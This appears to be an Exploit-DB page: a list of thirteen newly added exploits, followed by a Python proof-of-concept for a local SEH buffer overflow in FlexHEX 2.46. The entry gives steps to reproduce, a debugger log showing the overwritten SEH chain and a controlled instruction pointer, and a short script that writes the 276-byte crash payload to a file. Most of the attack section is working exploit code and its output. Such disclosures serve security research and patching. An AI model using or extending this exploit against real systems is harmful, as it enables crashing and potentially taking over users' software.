68794471c9
13 changes to exploits/shellcodes Anyburn 4.3 - 'Convert image to file format' Denial of Service Advanced Host Monitor 11.90 Beta - 'Registration number' Denial of Service (PoC) AMAC Address Change 5.4 - Denial of Service (PoC) ASPRunner Professional 6.0.766 - Denial of Service (PoC) FlexHEX 2.46 - Denial of Service SEH Overwrite (PoC) LanHelper 1.74 - Denial of Service (PoC) macOS XNU - Copy-on-Write Behaviour Bypass via Partial-Page Truncation of File macOS < 10.14.3 / iOS < 12.1.3 - Arbitrary mach Port Name Deallocation in XPC Services due to Invalid mach Message Parsing in _xpc_serializer_unpack macOS < 10.14.3 / iOS < 12.1.3 - Sandbox Escapes due to Type Confusions and Memory Safety Issues in iohideventsystem macOS < 10.14.3 / iOS < 12.1.3 XNU - 'vm_map_copy' Optimization which Requires Atomicity isn't Atomic macOS < 10.14.3 / iOS < 12.1.3 - Kernel Heap Overflow in PF_KEY due to Lack of Bounds Checking when Retrieving Statistics 10-Strike Network Inventory Explorer 8.54 - Local Buffer Overflow (SEH)(DEP Bypass) 10-Strike Network Inventory Explorer 8.54 - Local Buffer Overflow (SEH) (DEP Bypass) R 3.5.0 - Local Buffer Overflow (SEH) UltraISO 9.7.1.3519 - 'Output FileName' Local Buffer Overflow (SEH)
72 lines
No EOL
1.9 KiB
Python
Executable file
72 lines
No EOL
1.9 KiB
Python
Executable file
# Exploit Title: FlexHEX v2.46 - Denial of Service (PoC) and SEH overwritten Crash PoC
|
|
# Discovery by: Rafael Pedrero
|
|
# Discovery Date: 2018-12-20
|
|
# Vendor Homepage: http://www.flexhex.com/order/?r1=iNetShortcut&r2=fhx1
|
|
# Software Link : http://www.flexhex.com/order/?r1=iNetShortcut&r2=fhx1
|
|
# Tested Version: 2.46
|
|
# Tested on: Windows XP SP3
|
|
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow
|
|
|
|
# Steps to Produce the Crash:
|
|
# 1.- Run FlexHEX.exe
|
|
# 2.- Go to Menu "Stream" - "New Stream" and copy content of FlexHEX_SEH_Crash.txt to clipboard
|
|
# 3.- Paste the content into the field: 'Stream Name:'
|
|
# 4.- Click 'OK' button and you will see a crash.
|
|
|
|
|
|
'''
|
|
Log data, item 21
|
|
Address=0BADF00D
|
|
Message= SEH record (nseh field) at 0x0012dde8 overwritten with unicode
|
|
pattern : 0x006a0041 (offset 276), followed by 20 bytes of cyclic data
|
|
after the handler
|
|
|
|
SEH chain of main thread
|
|
Address SE handler
|
|
0012DDFC FlexHEX.00420042
|
|
00420042 8BC13B2C
|
|
4E8B3C46 *** CORRUPT ENTRY ***
|
|
|
|
EAX 00410041 FlexHEX.00410041
|
|
ECX 00000000
|
|
EDX 00000000
|
|
EBX 0012FA18
|
|
ESP 0012DE3C UNICODE "AAAAAAAAAABBBB"
|
|
EBP 00410041 FlexHEX.00410041
|
|
ESI 0012DE78
|
|
EDI 0012E69C
|
|
EIP 00410041 FlexHEX.00410041
|
|
C 0 ES 0023 32bit 0(FFFFFFFF)
|
|
P 0 CS 001B 32bit 0(FFFFFFFF)
|
|
A 1 SS 0023 32bit 0(FFFFFFFF)
|
|
Z 0 DS 0023 32bit 0(FFFFFFFF)
|
|
S 0 FS 003B 32bit 7FFDF000(FFF)
|
|
T 0 GS 0000 NULL
|
|
D 0
|
|
O 0 LastErr ERROR_SUCCESS (00000000)
|
|
EFL 00010212 (NO,NB,NE,A,NS,PO,GE,G)
|
|
ST0 empty
|
|
ST1 empty
|
|
ST2 empty
|
|
ST3 empty
|
|
ST4 empty
|
|
ST5 empty
|
|
ST6 empty
|
|
ST7 empty
|
|
3 2 1 0 E S P U O Z D I
|
|
FST 0000 Cond 0 0 0 0 Err 0 0 0 0 0 0 0 0 (GT)
|
|
FCW 027F Prec NEAR,53 Mask 1 1 1 1 1 1
|
|
|
|
|
|
'''
|
|
|
|
#!/usr/bin/env python
|
|
|
|
nseh = "BB"
|
|
seh = "BB"
|
|
|
|
junk = "\x41" * 276
|
|
crash = junk + nseh + seh
|
|
f = open ("FlexHEX_SEH_Crash.txt", "w")
|
|
f.write(crash)
|
|
f.close() |